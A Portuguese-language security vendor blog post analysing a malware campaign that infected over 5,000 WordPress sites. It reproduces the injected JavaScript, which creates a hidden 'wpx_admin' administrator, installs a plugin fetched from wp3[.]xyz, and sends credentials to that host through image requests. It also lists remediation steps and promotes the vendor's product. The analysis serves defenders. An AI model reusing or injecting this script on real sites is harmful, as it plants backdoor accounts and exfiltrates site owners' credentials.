Skip to main content
Blog
Blog Attacks

Mais de 5.000 sites WordPress capturados em ataque de malware WP3[.]XYZ

Descobrimos uma campanha generalizada de malware direcionada a sites WordPress, afetando mais de 5.000 sites globalmente. O domínio malicioso: \"https://wp3.xyz/plugin[.]php\".

Jan 13, 2025 3 min read
new-malware-attack-image-cover

Descobrimos uma campanha generalizada de malware direcionada a sites WordPress, afetando mais de 5.000 sites globalmente.

O domínio malicioso: https://wp3[.]xyz/td.js.

Um dos nossos usuários foi afetado. O cside detectou e interrompeu o ataque.

Diretorio de dominios da cside mostrando wp3.xyz marcado como malicioso
O rastreador do cside capturou o domínio malicioso

Ainda não está claro como os scripts entraram nos sites. Até agora, não identificamos um denominador comum, e nossa investigação está em andamento.

Sabemos que o script cria contas de administrador não autorizadas com um nome de usuário e senha que podem ser encontrados no código.

  • Nome de usuário: wpx_admin
  • Senha: [REDACTED]

Após criar a conta, o script baixa um plugin malicioso do WordPress e o ativa no site agora infectado - enviando dados sensíveis para um servidor remoto.

Verifique seu site agora para remover quaisquer contas de administrador não autorizadas e remover quaisquer plugins ou temas não utilizados.

Encontre sites infectados via:

O script em detalhes

Primeiro, o script busca o token CSRF necessário para a requisição. Em seguida, envia uma requisição POST para criar um usuário com credenciais codificadas. Ele registra o status da operação.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Após o script baixar o plugin obtido de https://wp3[.]xyz/plugin.php, o script o ativa no site infectado. O script se comunica com https://wp3[.]xyz/tdw1.php, enviando dados sensíveis como credenciais de administrador e logs de operação via requisições de imagem ofuscadas.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Uma vez que o atacante tem acesso de administrador, o script carrega um plugin malicioso. Ele busca o plugin de um servidor remoto e o carrega no site WordPress.

A função installPlugin funciona da seguinte forma:

  1. Busca a página de upload de plugin para recuperar o token CSRF.
  2. Baixa o arquivo do plugin malicioso.
  3. Submete o arquivo do plugin para instalação.

Em seguida, usa as seguintes técnicas:

  • Carregando o plugin via: /wp-admin/update[.]php?action=upload-plugin.
  • Buscando o plugin de uma fonte externa: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

O script finalmente verifica se o plugin malicioso foi instalado com sucesso verificando referências a https://wp3[.]xyz no conteúdo do site.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Proteja-se contra este ataque

  1. Bloqueie o domínio https://wp3[.]xyz em firewalls ou ferramentas de segurança.
  2. Audite contas de administrador do WordPress para usuários não autorizados.
  3. Remova plugins suspeitos e valide os existentes.
  4. Fortaleça as proteções CSRF e implemente autenticação multifator (MFA).
  5. Considere usar o cside

O usuário infectado executava a versão gratuita do cside. Você pode instalar o cside para proteger seu site em minutos contra este e ataques similares.

O cside faz proxy de todos os scripts para análise em tempo real, alertando e bloqueando os potencialmente maliciosos. Este script buscado de https://wp3[.]xyz/tdw.js foi detectado e bloqueado com sucesso no site do nosso usuário.

Por favor, entre em contato conosco se você estiver preocupado ou quiser migrar para os níveis superiores.

Verifique seu site para todos os administradores, certifique-se de que suas senhas e 2FA estão configurados corretamente. Você pode usar nosso rastreador público para verificar quaisquer scripts potencialmente maliciosos em seu site.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Sites WordPress comprometidos carregavam um script de wp3.xyz que criava contas de administrador ocultas e exfiltrava credenciais. Mais de 5.000 sites estavam afetados na época do relatório e muitos outros continuavam ativos dias depois.

Procure por wp3.xyz no código do site, remova usuários administradores desconhecidos e gire todas as credenciais do WordPress. Um scanner no cliente como o da cside também detecta tentativas de injeção que varreduras estáticas de plugins deixam passar.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração